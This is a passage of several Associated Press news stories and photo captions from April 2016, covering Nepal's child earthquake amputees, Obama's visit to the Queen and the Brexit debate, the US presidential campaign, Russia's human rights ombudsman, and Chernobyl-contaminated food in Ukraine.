"I don't think my daughter will ever lose hope," said Nepali, Nirmala's father. "But she should be in school."

Khendo's family, meanwhile, is hoping to move back to their village soon. She will remain in Kathmandu, living in the school dormitory.

Her parents will return to a makeshift windowless hillside hut, built on the foundations of what had been the family home.

After Khendo's grandmother and her older sister were cremated, their ashes were buried a few dozen feet away from the hut, and small stone monuments were built by hand to mark the spots. Next to them, bamboo poles hold Buddhist prayer flags that flap in the winds that never seem to stop blowing here.

As the wind blows through the cracks in the bamboo, it often causes a gentle whistling.

Sometimes, it almost sounds like singing.

___

Follow Tim Sullivan on Twitter at twitter.com/ByTimSullivan

In this July 24, 2015 photo, Khendo Tamang, 8, in yellow, stands by the bedside of her best friend Nirmala Pariyar, also 8, as she cries in pain during treatment on her amputated right leg in the Bir Trauma Center in Kathmandu, Nepal. Losing a leg each in the massive Nepal earthquake in 2015, they were both taken to Bir Hospital and Kathmandu's main trauma ward where they spent the next three months with surgeries and physical therapy with their new prostheses. During this time the girls' friendship grew and have become inseparable. (AP Photo/Niranjan Shrestha)

In this July 6, 2015, photo, Nepalese amputee victims and best of friends, Khendo Tamang, left, and Nirmala Pariyar, both 8, play on a mobile phone at the Bir Trauma Center in Kathmandu, Nepal. Each girl lost one leg in Nepal's massive April 25, 2015 earthquake that killed nearly 9,000 people dead and more than 22,000 injured. (AP Photo/Niranjan Shrestha)

In this July 24, 2015 photo, Nepalese girl Nirmala Pariyar, 8, draws pictures of herself and her friend Khendo Tamang, also 8, at the Bir Trauma Center in Kathmandu, Nepal. Losing a leg each in the massive Nepal earthquake in 2015, both Nirmala and Khendo were both taken to Bir Hospital and Kathmandu's main trauma ward where they spent the next three months together with surgeries and physical therapy with their new prostheses. During this time the girls' friendship grew and have become inseparable. (AP Photo/Niranjan Shrestha)

In this July 15, 2015 photo, Nepalese amputee victims Khendo Tamang, left, and Nirmala Pariyar, both 8, share a single pair of shoes at the Bir Trauma Center in Kathmandu, Nepal. After suffering serious leg wounds in Nepal's massive 2015 earthquake that killed and injured thousands, both girls were brought to the Bir Trauma Center in Kathmandu, to receive single leg amputations. Following their surgeries, Nirmala's relentless cheerfulness drew a still very depressed Khendo close and both found an inseparable friendship which has helped their emotional wounds heal. (AP Photo/Niranjan Shrestha)

In this Oct. 5, 2015 photo, Nepalese girl Nirmala Pariyar, 8, gets measured for a prosthetic leg at a clinic in Kathmandu, Nepal. Nirmala suffered severe leg wounds in the massive 2015 earthquake after the home she was in collapsed while visiting her father in Kathmandu. (AP Photo/Niranjan Shrestha)

In this Sept. 8, 2015 photo, amputee victims in the Nepal's 2015 earthquake, Nepalese girls Khendo Tamang, left, and Nirmala Pariyar, both 8, sit together as they are fitted for new prostheses at a clinic in Kathmandu, Nepal. Losing a leg each from the massive quake, both Nirmala and Khendo were both taken to Bir Hospital and Kathmandu's main trauma ward where they spent the next three months together with surgeries and physical therapy with their new prostheses. During this time the girls' friendship grew and have become inseparable. (AP Photo/Niranjan Shrestha)

In this Oct. 16, 2015 photo, amputee victims in Nepal's massive 2015 earthquake, Nepalese girls Khendo Tamang, left, and Nirmala Pariyar, both 8, practice walking with new prosthetic legs at a clinic in Kathmandu, Nepal. Spending months together with surgeries and the following physical therapy, both girls were soon inseparable in the and relied on their friendship to help ease the emotional wounds. (AP Photo/Niranjan Shrestha)

In this Oct. 16, 2015 photo, amputee victim in the massive 2015 Nepal earthquake, Khendo Tamang, 8, center, walks with the assistance of her mother Yagnsen and family friend Chitra Bahadur after receiving a new prosthesis at a clinic in Kathmandu, Nepal. (AP Photo/Niranjan Shrestha)

In this Aug.19, 2015 photo, Mangale Dong Tamang carries his crying daughter Khendo, 8, after she was released from the amputee hospital, in Kathmandu, Nepal. Khendo, an amputee victim in the 2015 Nepal earthquake, was heartbroken after being separated from her closest friend Nirmala who also lost a leg in the quake. Following their discharge from the hospital, the girls continue physical therapy in the same Kathmandu clinic, partly funded by the aid group Handicap International. (AP Photo/Niranjan Shrestha)

In this Aug.19, 2015 photo, Nirmala Pariyar, 8, looks out a car window after her best friend Khendo, also 8, was dropped off at a relative's house. Both girls had grown inseparable after each lost a leg in the massive 2015 Nepal earthquake and spent the following months in recovery together. (AP Photo/Niranjan Shrestha)

In this Aug. 19, 2015 photo, Nepalese girl Nirmala Pariyar, 8, who lost one leg in Nepal's massive April 2015 earthquake, is carried by her brother on a walkway in Kathmandu, Nepal. (AP Photo/Niranjan Shrestha)

In this Aug.19, 2015 photo, Nirmala Pariyar, 8, plays with her nephew in Kathmandu, Nepal. Nirmala lost a leg in Nepal's massive April 2015 earthquake that killed nearly 9,000 people dead and more than 22,000 injured. She was at a neighbor's watching TV when the quake caused the apartment to collapse on them. (AP Photo/Niranjan Shrestha)

In this Aug. 19,2015, amputee victim Nirmala Pariyar, 8, looks out from the balcony of her brother's apartment in Kathmandu, Nepal. Nirmala lives with her parents in a makeshift room of a small textile factory where her father works in Kathmandu. He left their farming village years ago to come to the capital to earn more money. While on a visit with her father in Kathmandu, Nirmala was in a neighbor's apartment that collapsed when the quake struck. (AP Photo/Niranjan Shrestha)

In this March 25, 2016 photo, Chitra Bahadur, foreground, and Maya Pariyar, both parents of Nepal's 2015 earthquake amputee victim Nirmala Pariyar, 8, sit in a makeshift room in a small textile factory in Kathmandu, Nepal. While on a visit to her father Chitra in Kathmandu, Nirmala was at a neighbor's home watching TV when the quake hit, causing the house to collapse around her. (AP Photo/Niranjan Shrestha)

In this March 9, 2016 photo, Khendo Tamang, 8, adjusts her prosthetic leg in Kathmandu, Nepal. Khendo was in her home village, Banskharka, when Nepal's massive April 2015 earthquake stuck. Her grandmother and sister were both killed when the house they were in collapsed during the quake. Khendo was pulled with severe leg injuries from the wreckage. (AP Photo/Niranjan Shrestha)

In this April 8, 2016 photo, a teddy bear and the image of Buddha are placed inside the makeshift shelter of Khendo Tamang's grandfather in Banskharka, Nepal. Khendo, 8, lost a leg in Nepal's massive 2015 earthquake. She was in a packed house with her grandmother, sister and many other villagers discussing ways to alleviate their poverty. When the quake struck, the house collapsed, killing her grandmother and her sister and leaving Khendo with severe leg injuries. (AP Photo/Niranjan Shrestha)

In this April 8, 2016 photo, Khendo Tamang, 8, stands near the debris of the collapsed home she was trapped in after the April 25, 2015 earthquake struck in Banskharka, Nepal. Khendo was in a packed house with her grandmother, sister and many other villagers discussing ways to alleviate their poverty. When the quake struck, the house collapsed, killing her grandmother and her sister and leaving Khendo with severe leg injuries. (AP Photo/Niranjan Shrestha)

In this April 20, 2016 photo, Nepalese earthquake amputee victim Khendo Tamang, 8, left, and other classmates sing a song at school in Kathmandu, Nepal. Khendo is now attending school in Kathmandu with the help of a man her family met following her severe leg injuries sustained in Nepal's massive 2015 earthquake in her village. This surprise benefactor, a westerner studying Buddhism in Nepal _ is paying all her fees, which come close to $1,300 a year. The family still does not know the man's full name. (AP Photo/Niranjan Shrestha)

In this April 20, 2016 photo, Nepalese earthquake amputee victim Khendo Tamang, 8, attends a school class in Kathmandu, Nepal. Khendo is now attending school in Kathmandu with the help of a man her family met following her severe leg injuries sustained in Nepal's massive 2015 earthquake in her village. This surprise benefactor, a westerner studying Buddhism in Nepal _ is paying all her fees, which come close to $1,300 a year. The family still does not know the man's full name. (AP Photo/Niranjan Shrestha)

In this April 20, 2016 photo, Nepalese earthquake amputee victim Khendo Tamang, 8, studies at her aunt's shop in Kathmandu, Nepal. Khendo is now attending school in Kathmandu with the help of a man her family met following her severe leg injuries sustained in Nepal's massive 2015 earthquake in her village. This surprise benefactor, a westerner studying Buddhism in Nepal _ is paying all her fees, which come close to $1,300 a year. The family still does not know the man's full name. (AP Photo/Niranjan Shrestha)

In this March 25, 2016 photo, Nepalese earthquake amputee victim Nirmala Pariyar, 8, helps her father at a textile factory in Kathmandu, Nepal. Nirmala lives with her parents in a makeshift room of a small textile factory where her father works in Kathmandu. He left their farming village years ago to come to the capital to earn more money. While on a visit with her father in Kathmandu, Nirmala was in a neighbor's apartment that collapsed when the quake struck. (AP Photo/Niranjan Shrestha)
Face time with queen, princes completes Obama's royal visit

LONDON (AP)  President Barack Obama plunged into a whirlwind of royal socializing Friday that began over a birthday lunch with Queen Elizabeth II and ended at a dinner hosted by the trio of young royals who represent the future of the British monarchy.

Obama, accompanied by his wife, Michelle, arrived by helicopter on the verdant grounds of Windsor Castle, the sprawling, centuries-old royal residence and tourist lure located just west of London where the queen celebrated her 90th birthday a day earlier.

With a patterned scarf tied around her head in a light drizzle, the queen climbed from the dark blue Range Rover that her husband, Prince Philip, drove to the landing area for Britain's oldest and longest-serving monarch to welcome her third U.S. president to the castle.

In this hand out photo released by Kensington Palace, Britain's Prince George meets with US President Barack Obama, centre and first lady Michelle Obama , at Kensington Palace, London, Friday April 22, 2016. Prince William is at left. (Pete Souza/Kensington Palace via AP)

The couples shook hands before climbing into the vehicle  ladies in the back seat  for the short ride to the castle. Inside, the queen led the group into a sitting room warmed by a fire and asked the president where he wanted to sit.

"The queen has been a source of inspiration for me," Obama said later at a news conference alongside British Prime Minister David Cameron. "She is truly one of my favorite people ... an astonishing person."

Obama capped the day with a trip to Kensington Palace, where he and the first lady were invited for dinner with Prince William, his wife, Kate, and his brother, Prince Harry. William is second in line to ascend to the throne after his father, Prince Charles.

Obama, in an open-collar shirt with his suit, held an umbrella for his wife, dressed in a camel-colored ensemble. The royals greeted them and they all posed for photographs before entering the residence. William and Kate's nearly 3-year-old son, Prince George, was spotted just inside the door.

The palace later released a series of photos showing everyone chatting in the drawing room of William and Kate's home, and of Obama kneeling in front of George, who appeared ready for bed in pajamas and a robe. In some photos, a stuffed toy replica of Obama's dog Bo, an earlier gift to the toddler from the president, rested on an ottoman.

At the Windsor Castle luncheon, the queen donned a periwinkle blue suit while Mrs. Obama wore an Oscar de la Renta print dress topped with a dark purple Narciso Rodriguez coat. The Obamas brought as a gift a photo diary of the queen's many visits with U.S. presidents and first ladies.

The album opens with her 1951 visit when, as Princess Elizabeth, Duchess of Edinburgh, she toured George Washington's estate at Mount Vernon in Virginia and met President Harry Truman at the White House. She has not visited Obama at the White House.

Obama broke up the royal holiday by stopping at 10 Downing St. for talks with Cameron about the Islamic State group, Afghanistan, Syria, Libya, the global economy, Russia's stance toward Ukraine, politics and other issues.

They also discussed Britain's possible exit from the European Union, or Brexit, which Obama publicly argued against.

Cameron is leading the campaign to keep Britain in the 28-nation EU. At the news conference, Obama said solving world challenges "requires collective action" as he argued for why Britons should vote to stay in the alliance. He said membership amplifies British influence around the world.

Cameron is facing opposition from within his Conservative government and widespread skepticism among voters about the benefit of EU membership. Backers of those who support Britain's exit have accused Obama of hypocrisy and meddling.

Obama said the eventual outcome a looming June 23 referendum would not change the "special relationship" between the U.S. and the U.K. He cited the case of a top aide, deputy chief of staff Anita Decker Breckenridge, who has worked for him since before he was first elected.

Obama said his aide's one request was to accompany him to Windsor, if he ever went, on the slight chance that she could get to see the queen. Obama said the queen graciously included Breckenridge in a group of people she greeted as they emerged from lunch. And, he said Breckenridge, "who is as tough as they come, almost fainted."

"That's the special relationship," he said. "We are so bound together that nothing's going to impact the emotional and cultural affinities between our two countries. So I don't come here, suggesting in any way, that that is impacted by a decision the people of the United Kingdom may make."

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Follow Darlene Superville on Twitter: http://www.twitter.com/dsupervilleap

President Barack Obama, center left, and his wife first lady Michelle Obama, center right, pose with Britain's Queen Elizabeth II, left, and Prince Phillip in the Oak room at Windsor Castle ahead of a private lunch hosted by the Queen, Friday, April 22, 2016 (John Stillwell/Pool)

U.S. President Barack Obama, right, and Britain's Queen Elizabeth II, left, enters the Oak room followed by U.S first lady Michelle Obama, background right, and Britain's Prince Phillip at Windsor Castle ahead of a private lunch hosted by the Queen, Friday, April 22, 2016 (John Stillwell/Pool)

President Barack Obama and his wife first lady Michelle Obama are greeted by Britain's Queen Elizabeth II and Prince Phillip after landing by helicopter at Windsor Castle for a private lunch in Windsor, England, Friday, April, 22, 2016. (AP Photo/Alastair Grant Pool)

President Barack Obama stands with Britain's Queen Elizabeth II after landing by helicopter at Windsor Castle for a private lunch in Windsor, England, Friday, April, 22, 2016. (AP Photo/Alastair Grant Pool)

President Barack Obama, Britain's Queen Elizabeth II and Prince Phillip, right, get into a car after after arriving at Windsor Castle for a private lunch in Windsor, England, Friday, April, 22, 2016. (AP Photo/Alastair Grant Pool)

President Barack Obama and his wife first lady Michelle Obama are greeted by Britain's Queen Elizabeth II and Prince Phillip after landing by helicopter at Windsor Castle for a private lunch in Windsor, England, Friday, April, 22, 2016. (AP Photo/Alastair Grant Pool)

Royal Guardsman look out from the Quadrangle of Windsor Castle after President Barack Obama and first lady Michelle Obama arrived at Windsor Castle in Windsor, England, Friday, April 22, 2016. Obama is spending his first full day in the United Kingdom on Friday after arriving Thursday evening. He started by having lunch at Windsor Castle with Queen Elizabeth II, who celebrates her 90th birthday this week. (AP Photo/Carolyn Kaster)

The Long Walk is seen in the distance as Royal Guardsman look out from the Quadrangle of Windsor Castle after President Barack Obama and first lady Michelle Obama arrived at Windsor Castle in Windsor, England, Friday, April 22, 2016. Obama is spending his first full day in the United Kingdom on Friday after arriving Thursday evening. He started by having lunch at Windsor Castle with Queen Elizabeth II, who celebrates her 90th birthday this week.(AP Photo/Carolyn Kaster)

Posing together, right to left, Britain's Kate Duchess of Cambridge and Prince William with US first lady Michelle, United States President Barack Obama and Prince Harry, outside Kensington Palace in London, prior to a private dinner, Friday April 22, 2016. Obama stepped into Britain's debate about EU membership and other topics, as he starts a three day visit to Britain. (Dominic Lipinski/Pool via AP)

President Barack Obama and first lady Michelle Obama are greeted by the Duke and Duchess of Cambridge and His Royal Highness Prince Harry of Wales as they arrive at Kensington Palace in London, Friday, April 22, 2016. (AP Photo/Carolyn Kaster)

CORRECTS TO PRINCE HARRY - His Royal Highness Prince Harry of Wales leans into kiss first lady Michelle Obama as she and President Barack Obama are also greeted by the Duke and Duchess of Cambridge as they arrive at Kensington Palace in London, Friday, April 22, 2016. (AP Photo/Carolyn Kaster)

Britain's Kate Duchess of Cambridge and Prince William welcome United States President Barack Obama and his wife Michelle, left to right, in the rain outside Kensington Palace in London, prior to a private dinner, Friday April 22, 2016. Obama stepped into Britain's debate about EU membership and other topics, as he starts a three day visit to Britain. (Chris Radburn/Pool via AP)

In this hand out photo released by Kensington Palace, Britain's Prince George, centre, talks to Kate, the Duchess of Cambridge after meeting US President Barack Obama, second right, and first lady Michelle Obama, at Kensington Palace, London, Friday April 22, 2016. Prince William is at right. (Pete Souza/Kensington Palace via AP)

Britain's Prince William talks with U.S. President Barack Obama in the Drawing Room of Kensington Palace in London, prior to a private dinner hosted by Prince William and Kate, Friday April 22, 2016. President Barack Obama and first lady Michelle plunged into a whirlwind visit to England with royal socializing and political talks. (Dominic Lipinski/Pool via AP)

Britian's Kate Duchess of Cambridge talks with US first lady Michelle Obama in the Drawing Room of Kensington Palace, London, prior to a private dinner hosted by Prince William and Kate, Friday April 22, 2016. President Barack Obama and Michelle plunged into a whirlwind visit to England with royal socializing and political talks. (Dominic Lipinski/Pool via AP)
Trump chief: 'You'll see a real different way'

HOLLYWOOD, Fla. (AP)  His general-election appeal in question, Donald Trump's senior team is promising anxious Republicans that voters will see "a real different way" soon after the GOP front-runner claims his party's presidential nomination.

"When he's out on the stage, when he's talking about the kinds of things he's talking about on the stump, he's projecting an image that's for that purpose," Paul Manafort, who is leading Trump's primary election strategy, told Republican National Committee members in a private briefing late Thursday. The Associated Press obtained a recording of the discussion.

"You'll start to see more depth of the person, the real person. You'll see a real different way," Manafort said.

Republican presidential candidate Donald Trump arrives at a rally, Thursday, April 21, 2016, at the Pennsylvania Farm Show Complex and Expo Center in Harrisburg, Pa. (AP Photo/Julio Cortez)

"He gets it," Manafort said of Trump's need to moderate his brash personality. "The part that he's been playing is evolving into the part that now you've been expecting, but he wasn't ready for, because he had first to complete the first phase. The negatives will come down. The image is going to change."

The message is part of the campaign's intensifying effort to convince party leaders that Trump will help deliver big electoral gains this fall, despite his contentious ways. Yet it also opens him up to questions about his authenticity.

Republican rival Ted Cruz seized on the remarks in a radio interview late Thursday.

"I'm actually going to give Trump a little bit of credit here. He's being candid. He's telling us he's lying to us," Cruz told host Mark Levin. "You look at what his campaign manager says, is that this is just an act. This is just a show."

The Texas senator continued: "When Donald talks about building a wall, when Donald talks about enforcing immigration laws, when Donald talks about, I guess, anything, that it's all an act, a show."

The Republican National Committee gathered at a seaside resort in south Florida for its annual spring meeting. While candidates in both parties targeted primary contests in the Northeast, Hollywood's Diplomat Resort & Spa turned into a palm-treed political battleground.

Senior advisers for Trump, Cruz and Ohio Gov. John Kasich courted RNC members in a series of private meetings on the resort's grounds, sometimes sitting at adjacent tables in the marble-floored lobby. Trump's tightening grasp of his party's presidential nomination dominated much of the hallway discussion.

"He's trying to moderate. He's getting better," said Ben Carson, a Trump ally who was part of the GOP's front-runner's RNC outreach team.

Despite his team's aggressive message, Trump was telling voters he wasn't quite ready to act presidential. "I just don't know if I want to do it yet," he said during a raucous rally in Harrisburg, Pennsylvania, that was frequently interrupted by protesters.

"At some point, I'm going to be so presidential that you people will be so bored," he said, predicting that the size of his crowds would dwindle if he dialed back his rhetoric.

Trump's team also signaled to RNC members that he was willing to dip into his personal fortune to fund his presidential bid, in addition to helping the national committee raise money, a promise that came as Trump prepared to launch his first big television advertising campaign in a month.

His campaign reserved about $2 million worth of air time in soon-to-vote Pennsylvania and Indiana, advertising tracker Kantar Media's CMAG shows.

"He's willing to spend what is necessary to finish this out. That's a big statement from him," Manafort said in the briefing.

Manafort also insisted that Trump is prepared to work closely with party leaders, despite the candidate's near-daily public attacks on what he calls "a rigged" presidential nomination system.

"Is Donald Trump running against the Republican National Committee? The answer is he is not," Manafort said.

Trump is increasingly optimistic about his chances in five states holding primary contests Tuesday: Rhode Island, Connecticut, Pennsylvania, Delaware and Maryland. He is now the only candidate who can possibly collect the 1,237-delegate majority needed to claim the GOP nomination before the party's July convention.

Cruz and Kasich hope Trump will fall short so that they can have a chance to turn enough delegates to win the nomination at the convention.

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Associated Press writer Alan Fram in Hollywood and Jill Colvin in New York contributed to this report.

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This story has been corrected to reflect that Trump aide Paul Manafort said Thursday "You'll see a real different way." The original story incorrectly stated that Manafort said: "You'll see a real different guy."

Republican presidential candidate Donald Trump speaks during a rally, Thursday, April 21, 2016, at the Pennsylvania Farm Show Complex and Expo Center in Harrisburg, Pa. (AP Photo/Julio Cortez)

Republican presidential candidate Donald Trump supporter Eric Starr shows his sign toward a line of protesters before a rally for Trump, Thursday, April 21, 2016, outside the Pennsylvania Farm Show Complex in Harrisburg, Pa. (Chris Dunn/York Daily Record via AP) YORK DISPATCH OUT; MANDATORY CREDIT
Clinton pivots from Obama's Asia policy with TPP opposition

WASHINGTON (AP)  Hillary Clinton was the first standard-bearer for the Obama administration's strategic push into Asia, but her opposition to the Trans-Pacific Partnership trade deal could be a major obstacle to sustaining it should she win the presidency.

The TPP has been the main economic plank of President Barack Obama's seven-year effort to intensify engagement with a fast-growing region and counter China's rising clout with nations that count it as their principal trading partner.

Clinton championed TPP as a "gold standard" agreement when she served as secretary of state during Obama's first term. But as the front-running Democratic presidential candidate, she has opposed the deal signed in February because of its potential impact on U.S. workers  organized labor being a core constituency of the Democrat Party.

FILE - In this Feb. 14, 2014 file photo, then-Secretary of State Hillary Rodham Clinton meets with then-Chinese Vice President Xi Jinping at the State Department in Washington. To envision how Democratic front-runner Hillary Clinton would run U.S. policy toward Asia as president, just look at the past eight years under President Barack Obama. (AP Photo/Charles Dharapak, File)

Leading Republican candidate Donald Trump, who also advocates a remake of Washington policies for dealing with allies Japan and South Korea and strategic rival China, has decried TPP as a "disaster." Clinton's rival for the Democratic nomination, Bernie Sanders, also staunchly opposes the pact.

Clinton's campaign won't say whether she would seek to renegotiate it with the 11 other TPP nations that have faced their own political challenges in selling it at home. The agreement has not yet been ratified by Congress.

Laura Rosenberger, foreign policy adviser for the Clinton campaign, said Clinton still supports the goal of a TPP that advances U.S. interests in the region. However, she said, the pact in its current form doesn't meet three conditions needed for a trade deal: to create good jobs in the U.S., raise wages at home, and advance U.S. national security.

Kurt Campbell, who was Clinton's top lieutenant on East Asia at the State Department and is now advising her campaign, describes TPP as a "strategic commitment" to engage in Asia. The 12 participating nations account for about 40 percent of global GDP, and other Asian nations are interested in joining.

Campbell said that a full-scale renegotiation would be "very difficult," but that adjustments could make it more politically palatable in the U.S.

"There are always opportunities to adjust on the margins and figure out how to ensure that we've got an agreement which legislators can sell back home," Campbell told the Truman Center think tank last week, without giving specifics.

Frank Jannuzi, who was on the Obama administration's transition team for Asia policy in 2008 but is not advising any current presidential candidates, said he expected whoever wins the presidency, Democrat or Republican, to ditch their opposition to the trade deal within the first two years of gaining office.

There's a recent precedent for a presidential contender changing tack on trade. In his 2008 campaign, Obama opposed a pact with South Korea negotiated by the George W. Bush administration. But he supported it as president, and negotiated some concessions on auto trade that helped the agreement win ratification by Congress in 2011.

Should the Obama administration succeed in getting the agreement ratified by Congress in the "lame duck" session after the November presidential election, and if Clinton is elected to succeed Obama, it would ease the key political dilemma on policy toward a region that has seen significant shifts since she left office as secretary of state three years ago. The security threats posed by a nuclear North Korea and an increasingly assertive China have only intensified and prompted criticism that Washington has been too soft on Beijing.

The U.S. and China have cooperated on climate change but tensions are mounting in the South China Sea. Beijing has not only disregarded U.S. calls for a time-out on construction on disputed islands but has conducted massive land reclamation and built airstrips from which Chinese forces could operate in sea lanes crucial for world trade.

But there have been U.S. successes in Asia too. Myanmar's historic shift from authoritarian rule turned an American adversary into a friend. Japan eased pacifist restrictions on its military so it can play a more active role alongside U.S. forces, and another U.S. ally, the Philippines, is opening up several bases to American troops.

"Having been secretary of state the first four years and architect of the administration's Asia policy, she does think overall that the strategy is right," said Rosenberger, a former State Department and White House official.

She said it was too soon to give specifics about how Clinton would tailor her Asia policy to the changed circumstances. But she voiced support for U.S. freedom of navigation operations, and said the U.S. should listen to allies in the region, "making sure that we present a unified front to the Chinese."
Anger as London mayor tells 'part-Kenyan' Obama to butt out

LONDON (AP)  London Mayor Boris Johnson, a leader of the campaign for Britain to leave the European Union, faced a flurry of criticism Friday for suggesting U.S. President Barack Obama may have an "ancestral dislike of the British Empire" because of his Kenyan roots.

On a visit to the U.K., Obama weighed in on Britain's debate about European Union membership, urging U.K. voters to back staying in the 28-nation bloc.

"I don't think the EU moderates U.K. influence in the world  it magnifies it," Obama said at a news conference with Prime Minister David Cameron.

President Barack Obama and Britain's Prime Minister David Cameron walk from 10 Downing Street, London, after a meeting Friday, April, 22, 2016. (AP Photo/Kirsty Wigglesworth)

His opinion  also expressed in a Daily Telegraph newspaper article  angered campaigners for a "leave" vote in the June 23 referendum, who accused the American president of meddling.

Johnson said Obama's advice was "paradoxical, inconsistent, incoherent" because Americans "would never contemplate anything like the EU for themselves."

Writing in The Sun newspaper, Johnson recounted a claim that a bust of former British Prime Minister Winston Churchill was removed from the Oval Office after Obama was elected and returned to the British Embassy.

Johnson wrote that some said removing the bust "was a symbol of the part-Kenyan president's ancestral dislike of the British Empire, of which Churchill had been such a fervent defender."

Obama's late father was from Kenya, a former British colony that gained independence in the 1960s.

Obama did not respond directly to the remarks about his ancestry. But he did mention the Churchill bust, saying the Oval Office had limited space and, as the first African-American U.S. president, he thought it was important to have a bust of Martin Luther King Jr. in the room.

He said the Churchill bust remained in a prominent White House location outside his private office "so that I see it every day  including on weekends when I'm going into that office to watch a basketball game."

"I love Winston Churchill," Obama said. "I love the guy."

Johnson said later that he was "a big fan of Barack Obama" and had not been trying to suggest the president was anti-British.

But the mayor's comments drew criticism from his political opponents. Former Liberal Democrat leader Menzies Campbell said "this attack constitutes an unacceptable smear."

"Many people will find Boris Johnson's loaded attack on President Obama's sincerity deeply offensive," he said.

Stephen Wall, former British permanent representative to the European Union, said: Johnson's comment about the president's Kenyan heritage "is demeaning to the debate," and Labour Party lawmaker Diane Abbott said that "Boris dismissing president Obama as 'half-Kenyan' reflects the worst Tea Party rhetoric."

Churchill's grandson Nicholas Soames  like Johnson a Conservative lawmaker  tweeted that Johnson's article was "totally wrong on almost everything."

"It is not compulsory to have head of WSC (Winston Spencer Churchill) in President's office. Stupid irrelevant empty point to make," he said.

Nigel Farage, leader of the anti-EU U.K. Independence Party  who told Obama bluntly to "butt out"  supported Johnson's remark.

"Because of his grandfather and Kenya and colonialization, I think Obama has a bit of a grudge against this country," he said.

After meeting Obama at 10 Downing St., Cameron was asked about the comments by Johnson  a political rival in the Conservative Party who aspires to succeed Cameron as prime minister.

"Questions for Boris are questions for Boris ..." he said. "They're not questions for me."

President Barack Obama and Britain's Prime Minister David Cameron walk from 10 Downing Street, London after a meeting Friday, April, 22, 2016. (AP Photo/Kirsty Wigglesworth)
Russia elects retired police chief as human rights ombudsman

MOSCOW (AP)  The Russian parliament on Friday elected a retired senior police officer to serve as presidential human rights ombudsman amid an outcry about her lack of democratic credentials.

The State Duma voted overwhelmingly for Tatyana Moskalkova, a police general and lawmaker of the Just Russia party, on Friday. President Vladimir Putin had the right to nominate a candidate, but he did not do so.

The 60-year old Moskalkova, who worked in the Interior Ministry for more than two decades, was an odds-on favorite after the ruling United Russia party threw its weight behind her. Her nomination, however, enraged Russia's human rights advocates who saw a clear conflict of interest in such an appointment.

Activists of the Yabloko party picketed the Duma Friday morning to protest Moskalkova's candidacy.

Moskalkova's predecessors had strong democratic credentials and often used their position to raise flagrant right violations and put the pressure on law enforcement and prison officials. A lot of Russian human rights activists have a background in the Soviet dissident movement and have been exiled or sent to prison for their work.

The police general's nomination baffled even far-right politician Vladimir Zhirinovsky.

Moskalkova "is a great person but her work in the Soviet police and in the police under (President Boris) Yeltsin cannot give us any reason to think that she is able and wants to defend human rights," Zhirinovsky told the parliament during debates.

As in the Soviet times, police in Russia are still considered as a source of widespread abuse of human rights.

Moskalkova's speech at the parliament on Friday only confirmed expectations of her hawkish position. She told the parliament she would focus on how rights are violated in health care and housing, and lashed out at what she described as attempts to take advantage of Russia's poor human rights record.

"Western and American bodies have come to use the issue of human rights as a tool of blackmail, abuse, threats and attempts to put the pressure on Russia," she said. "The human rights ombudsman has plenty of tools to counter that."

She did not specify what human rights issues she was talking about.

Moskalkova also said she would fight for the rights of Russians living abroad and said it is important for her to "defend Russian values, not just the rights of one person."

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Chinese foreign minister praises Cambodia for support

PHNOM PENH, Cambodia (AP)  China's top diplomat praised Cambodia for its support of Beijing's positions on world affairs as he ended a visit to one of the country's closest allies in Southeast Asia on Friday.

China is at odds with several of Cambodia's fellow members of the Association of Southeast Asian Nations who accuse Beijing of illegitimately extending territorial claims in the South China Sea.

Chinese Foreign Minister Wang Yi and Cambodian counterpart Prak Sokhon said at a news conference that Cambodia backs Beijing's call for a solution that does not involve interference from outside  an unstated reference to U.S. naval support for some of the countries challenging Beijing's claims.

FILE - In this April 8, 2016 file photo, Chinese Foreign Minister Wang Yi gestures during a joint press conference with his German counterpart Frank-Walter Steinmeier in Beijing. Wang Yi, who is on a two day visit to Cambodia, said at a press conference in Phnom Penh, Friday, April 22, 2016 that he was delighted that Cambodia often supported Beijing's positions on world affairs. China is at odds with several of Cambodia's fellow members of the Association of Southeast Asian Nations who accuse Beijing of illegitimately extending territorial claims in the South China Sea. (AP Photo/Ng Han Guan, File)

Wang Yi said China's buildup of infrastructure on islands in the contested waters does not affect the interests of other countries or interfere with the navigation of ships traversing the area.

Cambodia, one of the region's least-developed countries, enjoys large amounts of aid and investment from China.

Wang Yi reaffirmed that China will assist Cambodia in education, tourism, health care and clearing land mines, which are a legacy of decades of war in Cambodia that ended in the 1990s.

Wang Yi also met with Cambodian King Nordom Sihamoni and Prime Minister Hun Sen during his two-day visit.
Head of the CIA arrives in Bosnia for anti-terrorism talks

SARAJEVO, Bosnia-Herzegovina (AP)  Bosnia government officials said Friday that U.S. intelligence director John Brennan had arrived in Sarajevo on an unannounced visit to meet anti-terrorism officials.

The CIA director arrived from Riyadh, Saudi Arabia, where he met with senior officials from six Arab nations aimed at coordinating efforts in the conflicts in Iraq, Syria and Yemen.

Bosnia's chief prosecutor and head of the country's anti-terrorism group, Goran Salihovic, told media that the visit was a "great honor" and that his group will inform the CIA chief about how it is coordinating its anti-terrorism efforts. The group is made up of the heads of several agencies, including police, the prosecution office and border police.

According to the group, 124 Bosnians are fighting in foreign wars  four in Ukraine and the others in Syria and Iraq for the Islamic State group. Efforts to stop people from going to Syria have recently reduced the number of those leaving. Many who are now there want to return home and are negotiating with the government on how to do that. They know they face jail terms in Bosnia, but if they cooperate, they will get milder sentences.

A total of 51 Bosnians have died so far on foreign battlefields and 49 have returned from them. Half of those have already been processed by courts.
Ukraine children eat food tainted by Chernobyl

ZALYSHANY, Ukraine (AP)  Viktoria Vetrova knows the risk her four children take in drinking milk from the family's two cows and eating dried mushrooms and berries from the forest.

But the cash-strapped Ukrainian government canceled the local school lunch program for 350,000 children last year  the only source of clean food in this village near Chernobyl. So rural families are resorting to milk and produce from land still contaminated by fallout from the world's worst nuclear accident three decades ago. Vetrova's 8-year-old son Bogdan suffers from an enlarged thyroid, a condition which studies have linked to radioactivity.

"We are aware of the dangers, but what can we do?" said Vetrova, standing in her kitchen after pouring a glass of milk. "There is no other way to survive."

In this photo taken on Tuesday, April 5, 2016, Natalya Vetrova, one year old, sleeps holding a bottle with fresh cow milk at home in Zalyshany, 53 km (32 miles) southwest of the destroyed reactor of the Chernobyl plant, Ukraine. Her village is in one of the sections of Ukraine contaminated by radioactive fallout from the Chernobyl nuclear explosion. (AP Photo/Mstyslav Chernov)

Vetrova's family and thousands of others are caught between the consequences of two disasters: the residue from Chernobyl and the recent plunge of Ukraine's economy.

